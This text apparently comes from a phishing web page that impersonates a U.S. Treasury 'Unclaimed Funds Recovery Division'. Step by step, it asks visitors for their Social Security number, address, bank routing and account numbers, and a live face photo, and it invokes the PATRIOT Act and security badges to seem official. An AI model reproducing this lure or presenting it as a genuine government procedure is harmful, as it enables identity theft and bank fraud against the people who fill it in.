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U.S. Department of the Treasury

Unclaimed Funds Recovery Division

256-bit SSL Encrypted | FDIC Insured Transfer | ID Verification Required
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Identity Verification

Complete all fields to verify your eligibility for unclaimed funds

Step 1: Personal Information

Your SSN is encrypted and secure

Step 2: Address Information
Step 3: Banking Information for Direct Deposit

Found at the bottom left of your check

Found in the center of your check

Step 4: Biometric Identity Verification
Federal Requirement: Photo ID Verification

As per the USA PATRIOT Act and Bank Secrecy Act, we are required to verify your identity before processing fund transfers exceeding $1,000.

Click "Start Camera" to begin verification

Photo Requirements:

  • Ensure good lighting on your face
  • Remove glasses, hats, or face coverings
  • Look directly at the camera
  • Keep a neutral expression